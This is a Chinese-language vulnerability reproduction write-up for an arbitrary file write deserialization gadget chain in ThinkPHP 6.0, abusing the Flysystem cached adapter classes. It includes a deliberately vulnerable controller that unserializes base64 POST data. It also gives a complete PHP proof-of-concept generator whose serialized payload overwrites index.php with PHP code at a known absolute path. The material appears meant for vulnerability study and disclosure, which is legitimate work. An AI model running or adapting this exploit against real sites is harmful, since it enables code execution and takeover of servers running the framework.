Thinkphp 6.0 任意文件写入pop链¶
一、漏洞简介¶
需要知晓绝对路径
二、漏洞影响¶
Thinkphp 6.0
三、复现过程¶
环境搭建¶
ThinkPHP6.0.2
PHP7.2
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
public function test(){
echo base64_decode($_POST['payload']);
$payload = unserialize(base64_decode($_POST['payload']));
}
}
漏洞分析¶
POP链：
League\Flysystem\Cached\Storage\AbstractCache --> destruct()
League\Flysystem\Cached\Storage\Adapter --> save()
League\Flysystem\Adapter\Local --> write()
vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php
因AbstractCache类为抽象类，需找到其实现子类，且要有save()方法
成功找到：vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php
$contents决定文件写入内容，显然可向$this->complete或$this->expire写入具体内容即可
接下来需找到具有write()方法的类，vendor/league/flysystem/src/Adapter/Local.php中Local类符合条件
但ensureDirectory()对利用造成了影响，将对目录进行检测，因而造成必须使用绝对路径
漏洞复现¶
根据分析写出poc
该利用链较为鸡肋，要求必须知晓写入文件的绝对路径
<?php
namespace League\Flysystem\Cached\Storage;#AbstractCache Adapter
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
protected $autosave = true;
protected $cache = [];
protected $complete = [];
function __construct(){
$this->autosave = false;
$this->cache = ['test'];
$this->complete = ["axin"=>"<?php phpinfo();?>"];
}
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
protected $expire = null;
function __construct(){
parent::__construct();
$this->adapter = new Local();
$this->file = "var/www/html/index.php";
#$this->file = "://WampServer/www/tp/tp6.0.1/public/index.php"; #winsows下目录
$this->expire = 123;
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter{
protected $pathPrefix;
function __construct(){
$this->pathPrefix = "/";
#$this->pathPrefix = "D"; #windows下目录
}
}
class Local extends AbstractAdapter{
}
use League\Flysystem\Cached\Storage\Adapter;
echo base64_encode(serialize(new Adapter()));
效果演示：自己构造一个反序列化输入点，发送请求(页面的输出是我自己方便调试打印的)
文件成功写入：
